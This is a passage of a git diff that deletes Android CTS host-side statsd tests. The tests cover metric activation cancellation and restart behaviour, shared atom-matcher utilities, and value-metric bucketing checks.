- .addEventActivation(metric1Act2)
- .build();
-
- MetricActivation metric2Activation = MetricActivation.newBuilder()
- .setMetricId(metric2Id)
- .addEventActivation(metric2Act1)
- .addEventActivation(metric2Act2)
- .build();
-
- return createConfigBuilder()
- .addAtomMatcher(metric1Matcher)
- .addAtomMatcher(metric2Matcher)
- .addAtomMatcher(metric3Matcher)
- .addAtomMatcher(act1Matcher)
- .addAtomMatcher(act1CancelMatcher)
- .addAtomMatcher(act2Matcher)
- .addAtomMatcher(act2CancelMatcher)
- .addEventMetric(metric1)
- .addEventMetric(metric2)
- .addEventMetric(metric3)
- .addMetricActivation(metric1Activation)
- .addMetricActivation(metric2Activation);
- }
-
- /**
- * Metric 1:
- * Activation 1:
- * - Ttl: 5 seconds
- * - Type: IMMEDIATE
- * Activation 2:
- * - Ttl: 8 seconds
- * - Type: ON_BOOT
- *
- * Metric 2:
- * Activation 1:
- * - Ttl: 5 seconds
- * - Type: ON_BOOT
- * Activation 2:
- * - Ttl: 8 seconds
- * - Type: IMMEDIATE
- *
- * Metric 3: No activations; always active
- **/
- public void testCancellation() throws Exception {
- final int act1TtlSecs = 5;
- final int act2TtlSecs = 8;
- uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
-
- // Ignored, metric not active.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // Trigger cancel for already inactive event activation 1.
- doAppBreadcrumbReported(act1CancelMatcherId);
- Thread.sleep(10L);
-
- // Trigger event activation 1.
- doAppBreadcrumbReported(act1MatcherId);
- Thread.sleep(10L);
-
- // First logged event.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // Second logged event.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // Cancel event activation 1.
- doAppBreadcrumbReported(act1CancelMatcherId);
- Thread.sleep(10L);
-
- // Ignored, metric not active.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // Trigger event activation 1.
- doAppBreadcrumbReported(act1MatcherId);
- Thread.sleep(10L);
-
- // Trigger event activation 2.
- doAppBreadcrumbReported(act2MatcherId);
- Thread.sleep(10L);
-
- // Third logged event.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // Cancel event activation 2.
- doAppBreadcrumbReported(act2CancelMatcherId);
- Thread.sleep(10L);
-
- // Fourth logged event.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // Expire event activation 1
- Thread.sleep(act1TtlSecs * 1000);
-
- // Ignored, metric 1 not active. Activation 1 expired and Activation 2 was cancelled.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // Trigger event activation 2.
- doAppBreadcrumbReported(act2MatcherId);
- Thread.sleep(10L);
-
- // Metric 1 log ignored, Activation 1 expired and Activation 2 needs reboot to activate.
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- // First logged event for Metric 3.
- doAppBreadcrumbReported(metric3MatcherId);
- Thread.sleep(10L);
-
- ConfigMetricsReportList reportList = getReportList();
- List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
- ConfigMetricsReport report = reports.get(0);
- verifyMetrics(report, 4, 0, 1);
- }
-
- /**
- * Metric 1:
- * Activation 1:
- * - Ttl: 100 seconds
- * - Type: IMMEDIATE
- * Activation 2:
- * - Ttl: 200 seconds
- * - Type: ON_BOOT
- *
- * Metric 2:
- * Activation 1:
- * - Ttl: 100 seconds
- * - Type: ON_BOOT
- * Activation 2:
- * - Ttl: 200 seconds
- * - Type: IMMEDIATE
- *
- * Metric 3: No activations; always active
- **/
- public void testRestart() throws Exception {
- final int act1TtlSecs = 200;
- final int act2TtlSecs = 400;
- uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
-
- // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
- // Time remaining:
- // Metric 1 Activation 1: 200 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds (will activate after boot)
- // Metric 2 Activation 2: 0 seconds
- doAppBreadcrumbReported(act1MatcherId);
- Thread.sleep(10L);
-
- // First logged event for Metric 1.
- // Metric 2 event ignored, will activate after boot.
- // First logged event for Metric 3.
- logAllMetrics();
-
- // Time remaining:
- // Metric 1 Activation 1: 200 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 200 seconds
- // Metric 2 Activation 2: 0 seconds
- rebootDeviceAndWaitUntilReady();
-
- // Second logged event for Metric 1.
- // First logged event for Metric 2.
- // Second logged event for Metric 3.
- logAllMetrics();
-
- // Time remaining:
- // Metric 1 Activation 1: 0 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds
- // Metric 2 Activation 2: 0 seconds
- Thread.sleep(act1TtlSecs * 1000L);
-
- // Metric 1 event ignored, Activation 1 expired.
- // Metric 2 event ignored, Activation 1 expired.
- // Third logged event for Metric 3.
- logAllMetrics();
-
- // Trigger Metric 1 Activation 2 and Metric 2 Activation 2.
- // Time remaining:
- // Metric 1 Activation 1: 0 seconds
- // Metric 1 Activation 2: 0 seconds (will activate after boot)
- // Metric 2 Activation 1: 0 seconds
- // Metric 2 Activation 2: 400 seconds
- doAppBreadcrumbReported(act2MatcherId);
- Thread.sleep(10L);
-
- // Metric 1 event ignored, will activate after boot.
- // Second logged event for Metric 2.
- // Fourth logged event for Metric 3.
- logAllMetrics();
-
- // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
- // Time remaining:
- // Metric 1 Activation 1: 200 seconds
- // Metric 1 Activation 2: 0 seconds (will activate after boot)
- // Metric 2 Activation 1: 0 seconds (will activate after boot)
- // Metric 2 Activation 2: 400 seconds
- doAppBreadcrumbReported(act1MatcherId);
- Thread.sleep(10L);
-
- // Third logged event for Metric 1.
- // Third logged event for Metric 2.
- // Fifth logged event for Metric 3.
- logAllMetrics();
-
- // Time remaining:
- // Metric 1 Activation 1: 100 seconds
- // Metric 1 Activation 2: 0 seconds (will activate after boot)
- // Metric 2 Activation 1: 0 seconds (will activate after boot)
- // Metric 2 Activation 2: 300 seconds
- Thread.sleep(act1TtlSecs * 1000L / 2);
-
- // Time remaining:
- // Metric 1 Activation 1: 100 seconds
- // Metric 1 Activation 2: 400 seconds
- // Metric 2 Activation 1: 200 seconds
- // Metric 2 Activation 2: 300 seconds
- rebootDeviceAndWaitUntilReady();
-
- // Fourth logged event for Metric 1.
- // Fourth logged event for Metric 2.
- // Sixth logged event for Metric 3.
- logAllMetrics();
-
- // Expire Metric 1 Activation 1.
- // Time remaining:
- // Metric 1 Activation 1: 0 seconds
- // Metric 1 Activation 2: 300 seconds
- // Metric 2 Activation 1: 100 seconds
- // Metric 2 Activation 2: 200 seconds
- Thread.sleep(act1TtlSecs * 1000L / 2);
-
- // Fifth logged event for Metric 1.
- // Fifth logged event for Metric 2.
- // Seventh logged event for Metric 3.
- logAllMetrics();
-
- // Expire all activations.
- // Time remaining:
- // Metric 1 Activation 1: 0 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds
- // Metric 2 Activation 2: 0 seconds
- Thread.sleep(act2TtlSecs * 1000L);
-
- // Metric 1 event ignored.
- // Metric 2 event ignored.
- // Eighth logged event for Metric 3.
- logAllMetrics();
-
- ConfigMetricsReportList reportList = getReportList();
- List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
- assertThat(reports).hasSize(3);
-
- // Report before restart.
- ConfigMetricsReport report = reports.get(0);
- verifyMetrics(report, 1, 0, 1);
-
- // Report after first restart.
- report = reports.get(1);
- verifyMetrics(report, 2, 3, 4);
-
- // Report after second restart.
- report = reports.get(2);
- verifyMetrics(report, 2, 2, 3);
- }
-
- /**
- * Metric 1:
- * Activation 1:
- * - Ttl: 100 seconds
- * - Type: IMMEDIATE
- * Activation 2:
- * - Ttl: 200 seconds
- * - Type: ON_BOOT
- *
- * Metric 2:
- * Activation 1:
- * - Ttl: 100 seconds
- * - Type: ON_BOOT
- * Activation 2:
- * - Ttl: 200 seconds
- * - Type: IMMEDIATE
- *
- * Metric 3: No activations; always active
- **/
- public void testMultipleActivations() throws Exception {
- final int act1TtlSecs = 200;
- final int act2TtlSecs = 400;
- uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
-
- // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
- // Time remaining:
- // Metric 1 Activation 1: 200 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds (will activate after boot)
- // Metric 2 Activation 2: 0 seconds
- doAppBreadcrumbReported(act1MatcherId);
- Thread.sleep(10L);
-
- // First logged event for Metric 1.
- // Metric 2 event ignored, will activate after boot.
- // First logged event for Metric 3.
- logAllMetrics();
-
- // Time remaining:
- // Metric 1 Activation 1: 100 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds (will activate after boot)
- // Metric 2 Activation 2: 0 seconds
- Thread.sleep(act1TtlSecs * 1000L / 2);
-
- // Second logged event for Metric 1.
- // Metric 2 event ignored, will activate after boot.
- // Second logged event for Metric 3.
- logAllMetrics();
-
- // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
- // Time remaining:
- // Metric 1 Activation 1: 200 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds (will activate after boot)
- // Metric 2 Activation 2: 0 seconds
- doAppBreadcrumbReported(act1MatcherId);
- Thread.sleep(10L);
-
- // Third logged event for Metric 1.
- // Metric 2 event ignored, will activate after boot.
- // Third logged event for Metric 3.
- logAllMetrics();
-
- // Time remaining:
- // Metric 1 Activation 1: 200 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 200 seconds
- // Metric 2 Activation 2: 0 seconds
- rebootDeviceAndWaitUntilReady();
-
- // Fourth logged event for Metric 1.
- // First logged event for Metric 2.
- // Fourth logged event for Metric 3.
- logAllMetrics();
-
- // Trigger Metric 1 Activation 1 and Metric 2 Activation 1.
- // Time remaining:
- // Metric 1 Activation 1: 200 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 200 seconds
- // Metric 2 Activation 2: 0 seconds
- doAppBreadcrumbReported(act1MatcherId);
- Thread.sleep(10L);
-
- // Fifth logged event for Metric 1.
- // Second logged event for Metric 2.
- // Fifth logged event for Metric 3.
- logAllMetrics();
-
- // Expire all activations.
- // Time remaining:
- // Metric 1 Activation 1: 0 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds
- // Metric 2 Activation 2: 0 seconds
- Thread.sleep(act1TtlSecs * 1000L);
-
- // Metric 1 event ignored.
- // Metric 2 event ignored.
- // Sixth logged event for Metric 3.
- logAllMetrics();
-
- // Time remaining:
- // Metric 1 Activation 1: 0 seconds
- // Metric 1 Activation 2: 0 seconds
- // Metric 2 Activation 1: 0 seconds
- // Metric 2 Activation 2: 0 seconds
- rebootDeviceAndWaitUntilReady();
-
- // Metric 1 event ignored.
- // Metric 2 event ignored.
- // Seventh logged event for Metric 3.
- logAllMetrics();
-
- ConfigMetricsReportList reportList = getReportList();
- List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
- assertThat(reports).hasSize(3);
-
- // Report before restart.
- ConfigMetricsReport report = reports.get(0);
- verifyMetrics(report, 3, 0, 3);
-
- // Report after first restart.
- report = reports.get(1);
- verifyMetrics(report, 2, 2, 3);
-
- // Report after second restart.
- report = reports.get(2);
- verifyMetrics(report, 0, 0, 1);
- }
-
- private void logAllMetrics() throws Exception {
- doAppBreadcrumbReported(metric1MatcherId);
- Thread.sleep(10L);
-
- doAppBreadcrumbReported(metric2MatcherId);
- Thread.sleep(10L);
-
- doAppBreadcrumbReported(metric3MatcherId);
- Thread.sleep(10L);
- }
-
- private void verifyMetrics(ConfigMetricsReport report, int metric1Count, int metric2Count,
- int metric3Count) throws Exception {
- assertThat(report.getMetricsCount()).isEqualTo(3);
-
- verifyMetric(
- report.getMetrics(0), // StatsLogReport
- 1, // Metric Id
- 1, // Metric what atom matcher label
- metric1Count // Data count
- );
- verifyMetric(
- report.getMetrics(1), // StatsLogReport
- 2, // Metric Id
- 2, // Metric what atom matcher label
- metric2Count // Data count
- );
- verifyMetric(
- report.getMetrics(2), // StatsLogReport
- 3, // Metric Id
- 3, // Metric what atom matcher label
- metric3Count // Data count
- );
- }
-
- private void verifyMetric(StatsLogReport metricReport, long metricId, int metricMatcherLabel,
- int dataCount) {
- LogUtil.CLog.d("Got the following event metric data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(metricId);
- assertThat(metricReport.hasEventMetrics()).isEqualTo(dataCount > 0);
-
- StatsLogReport.EventMetricDataWrapper eventData = metricReport.getEventMetrics();
- assertThat(eventData.getDataCount()).isEqualTo(dataCount);
- for (int i = 0; i < eventData.getDataCount(); i++) {
- AppBreadcrumbReported atom = eventData.getData(i).getAtom().getAppBreadcrumbReported();
- assertThat(atom.getLabel()).isEqualTo(metricMatcherLabel);
- }
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
deleted file mode 100644
index 7097587..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
+++ /dev/null
@@ -1,163 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.google.protobuf.Message;
-import com.google.protobuf.Descriptors.Descriptor;
-import com.google.protobuf.Descriptors.FieldDescriptor;
-
-public class MetricsUtils {
- public static final long COUNT_METRIC_ID = 3333;
- public static final long DURATION_METRIC_ID = 4444;
- public static final long GAUGE_METRIC_ID = 5555;
- public static final long VALUE_METRIC_ID = 6666;
-
- public static AtomMatcher.Builder getAtomMatcher(int atomId) {
- AtomMatcher.Builder builder = AtomMatcher.newBuilder();
- builder.setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(atomId));
- return builder;
- }
-
- public static AtomMatcher startAtomMatcher(int id) {
- return AtomMatcher.newBuilder()
- .setId(id)
- .setSimpleAtomMatcher(
- SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
- .setEqInt(AppBreadcrumbReported.State.START.ordinal())))
- .build();
- }
-
- public static AtomMatcher startAtomMatcherWithLabel(int id, int label) {
- return appBreadcrumbMatcherWithLabelAndState(id, label, AppBreadcrumbReported.State.START);
- }
-
- public static AtomMatcher stopAtomMatcher(int id) {
- return AtomMatcher.newBuilder()
- .setId(id)
- .setSimpleAtomMatcher(
- SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
- .setEqInt(AppBreadcrumbReported.State.STOP.ordinal())))
- .build();
- }
-
- public static AtomMatcher stopAtomMatcherWithLabel(int id, int label) {
- return appBreadcrumbMatcherWithLabelAndState(id, label, AppBreadcrumbReported.State.STOP);
- }
-
- public static AtomMatcher unspecifiedAtomMatcher(int id) {
- return AtomMatcher.newBuilder()
- .setId(id)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
- .setEqInt(AppBreadcrumbReported.State.UNSPECIFIED.ordinal())))
- .build();
- }
-
- public static AtomMatcher simpleAtomMatcher(int id) {
- return AtomMatcher.newBuilder()
- .setId(id)
- .setSimpleAtomMatcher(
- SimpleAtomMatcher.newBuilder().setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER))
- .build();
- }
-
- public static AtomMatcher appBreadcrumbMatcherWithLabel(int id, int label) {
- return AtomMatcher.newBuilder()
- .setId(id)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
- .setEqInt(label)))
- .build();
- }
-
- public static AtomMatcher appBreadcrumbMatcherWithLabelAndState(int id, int label,
- final AppBreadcrumbReported.State state) {
-
- return AtomMatcher.newBuilder()
- .setId(id)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
- .setEqInt(state.ordinal()))
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
- .setEqInt(label)))
- .build();
- }
-
- public static AtomMatcher simpleAtomMatcher(int id, int label) {
- return AtomMatcher.newBuilder()
- .setId(id)
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
- .setEqInt(label)
- )
- )
- .build();
- }
-
- public static EventActivation.Builder createEventActivation(int ttlSecs, int matcherId,
- int cancelMatcherId) {
- return EventActivation.newBuilder()
- .setAtomMatcherId(matcherId)
- .setTtlSeconds(ttlSecs)
- .setDeactivationAtomMatcherId(cancelMatcherId);
- }
-
- public static long StringToId(String str) {
- return str.hashCode();
- }
-
- public static void assertBucketTimePresent(Message bucketInfo) {
- Descriptor descriptor = bucketInfo.getDescriptorForType();
- boolean found = false;
- FieldDescriptor bucketNum = descriptor.findFieldByName("bucket_num");
- FieldDescriptor startMillis = descriptor.findFieldByName("start_bucket_elapsed_millis");
- FieldDescriptor endMillis = descriptor.findFieldByName("end_bucket_elapsed_millis");
- if (bucketNum != null && bucketInfo.hasField(bucketNum)) {
- found = true;
- } else if (startMillis != null && bucketInfo.hasField(startMillis) &&
- endMillis != null && bucketInfo.hasField(endMillis)) {
- found = true;
- }
- assertWithMessage(
- "Bucket info did not have either bucket num or start and end elapsed millis"
- ).that(found).isTrue();
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
deleted file mode 100644
index 0cf5bbb..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
+++ /dev/null
@@ -1,465 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto.ActivationType;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventActivation;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.MetricActivation;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.internal.os.StatsdConfigProto.ValueMetric;
-
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.SystemElapsedRealtime;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.os.StatsLog.StatsLogReport.BucketDropReason;
-import com.android.os.StatsLog.ValueBucketInfo;
-import com.android.os.StatsLog.ValueMetricData;
-
-import com.android.tradefed.log.LogUtil;
-
-public class ValueMetricsTests extends DeviceAtomTestCase {
- private static final int APP_BREADCRUMB_REPORTED_A_MATCH_START_ID = 0;
- private static final int APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID = 1;
- private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
-
- public void testValueMetric() throws Exception {
- // Add AtomMatcher's.
- AtomMatcher startAtomMatcher =
- MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
- AtomMatcher stopAtomMatcher =
- MetricsUtils.stopAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID);
- AtomMatcher atomMatcher =
- MetricsUtils.simpleAtomMatcher(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID);
-
- StatsdConfig.Builder builder = createConfigBuilder();
- builder.addAtomMatcher(startAtomMatcher);
- builder.addAtomMatcher(stopAtomMatcher);
- builder.addAtomMatcher(atomMatcher);
-
- // Add ValueMetric.
- builder.addValueMetric(
- ValueMetric.newBuilder()
- .setId(MetricsUtils.VALUE_METRIC_ID)
- .setWhat(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- .setBucket(TimeUnit.CTS)
- .setValueField(FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder().setField(
- AppBreadcrumbReported.LABEL_FIELD_NUMBER)))
- .setDimensionsInWhat(FieldMatcher.newBuilder()
- .setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- .build())
- .build());
-
- // Upload config.
- uploadConfig(builder);
-
- // Create AppBreadcrumbReported Start/Stop events.
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(1000);
- doAppBreadcrumbReportedStop(1);
- doAppBreadcrumbReportedStart(3);
- doAppBreadcrumbReportedStop(3);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(1000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
- assertThat(metricReport.hasValueMetrics()).isTrue();
- StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
- assertThat(valueData.getDataCount()).isEqualTo(1);
-
- int bucketCount = valueData.getData(0).getBucketInfoCount();
- assertThat(bucketCount).isGreaterThan(1);
- ValueMetricData data = valueData.getData(0);
- int totalValue = 0;
- for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
- MetricsUtils.assertBucketTimePresent(bucketInfo);
- assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
- assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
- totalValue += (int) bucketInfo.getValues(0).getValueLong();
- }
- assertThat(totalValue).isEqualTo(8);
- }
-
- // Test value metric with pulled atoms and across multiple buckets
- public void testPullerAcrossBuckets() throws Exception {
- // Add AtomMatcher's.
- final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
- final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
- final String predicateName = "APP_BREADCRUMB_REPORTED_IS_STOP";
-
- AtomMatcher startAtomMatcher =
- MetricsUtils.startAtomMatcher(predicateTrueName.hashCode());
- AtomMatcher stopAtomMatcher =
- MetricsUtils.stopAtomMatcher(predicateFalseName.hashCode());
-
- StatsdConfig.Builder builder = createConfigBuilder();
- builder.addAtomMatcher(startAtomMatcher);
- builder.addAtomMatcher(stopAtomMatcher);
- builder.addPredicate(Predicate.newBuilder()
- .setId(predicateName.hashCode())
- .setSimplePredicate(SimplePredicate.newBuilder()
- .setStart(predicateTrueName.hashCode())
- .setStop(predicateFalseName.hashCode())
- .setCountNesting(false)
- )
- );
-
- final String atomName = "SYSTEM_ELAPSED_REALTIME";
- SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER);
- builder.addAtomMatcher(AtomMatcher.newBuilder()
- .setId(atomName.hashCode())
- .setSimpleAtomMatcher(sam));
-
- // Add ValueMetric.
- builder.addValueMetric(
- ValueMetric.newBuilder()
- .setId(MetricsUtils.VALUE_METRIC_ID)
- .setWhat(atomName.hashCode())
- .setBucket(TimeUnit.ONE_MINUTE)
- .setValueField(FieldMatcher.newBuilder()
- .setField(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder().setField(
- SystemElapsedRealtime.TIME_MILLIS_FIELD_NUMBER)))
- .setCondition(predicateName.hashCode())
- .build());
-
- // Upload config.
- uploadConfig(builder);
-
- // Create AppBreadcrumbReported Start/Stop events.
- doAppBreadcrumbReportedStart(1);
- // Wait for 2 min and 1 sec to capture at least 2 buckets
- Thread.sleep(2*60_000 + 10_000);
- doAppBreadcrumbReportedStop(1);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(1_000);
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
- assertThat(metricReport.hasValueMetrics()).isTrue();
- StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
- assertThat(valueData.getDataCount()).isEqualTo(1);
-
- int bucketCount = valueData.getData(0).getBucketInfoCount();
- // should have at least 2 buckets
- assertThat(bucketCount).isAtLeast(2);
- ValueMetricData data = valueData.getData(0);
- int totalValue = 0;
- for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
- MetricsUtils.assertBucketTimePresent(bucketInfo);
- assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
- assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
- totalValue += (int) bucketInfo.getValues(0).getValueLong();
- }
- // At most we lose one full min bucket
- assertThat(totalValue).isGreaterThan(130_000 - 60_000);
- }
-
- // Test value metric with pulled atoms and across multiple buckets
- public void testMultipleEventsPerBucket() throws Exception {
- // Add AtomMatcher's.
- final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
- final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
- final String predicateName = "APP_BREADCRUMB_REPORTED_IS_STOP";
-
- AtomMatcher startAtomMatcher =
- MetricsUtils.startAtomMatcher(predicateTrueName.hashCode());
- AtomMatcher stopAtomMatcher =
- MetricsUtils.stopAtomMatcher(predicateFalseName.hashCode());
-
- StatsdConfig.Builder builder = createConfigBuilder();
- builder.addAtomMatcher(startAtomMatcher);
- builder.addAtomMatcher(stopAtomMatcher);
- builder.addPredicate(Predicate.newBuilder()
- .setId(predicateName.hashCode())
- .setSimplePredicate(SimplePredicate.newBuilder()
- .setStart(predicateTrueName.hashCode())
- .setStop(predicateFalseName.hashCode())
- .setCountNesting(false)
- )
- );
-
- final String atomName = "SYSTEM_ELAPSED_REALTIME";
- SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER);
- builder.addAtomMatcher(AtomMatcher.newBuilder()
- .setId(atomName.hashCode())
- .setSimpleAtomMatcher(sam));
-
- // Add ValueMetric.
- builder.addValueMetric(
- ValueMetric.newBuilder()
- .setId(MetricsUtils.VALUE_METRIC_ID)
- .setWhat(atomName.hashCode())
- .setBucket(TimeUnit.ONE_MINUTE)
- .setValueField(FieldMatcher.newBuilder()
- .setField(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder().setField(
- SystemElapsedRealtime.TIME_MILLIS_FIELD_NUMBER)))
- .setCondition(predicateName.hashCode())
- .build());
-
- // Upload config.
- uploadConfig(builder);
-
- final int NUM_EVENTS = 10;
- final long GAP_INTERVAL = 10_000;
- // Create AppBreadcrumbReported Start/Stop events.
- for (int i = 0; i < NUM_EVENTS; i ++) {
- doAppBreadcrumbReportedStart(1);
- Thread.sleep(GAP_INTERVAL);
- doAppBreadcrumbReportedStop(1);
- Thread.sleep(GAP_INTERVAL);
- }
-
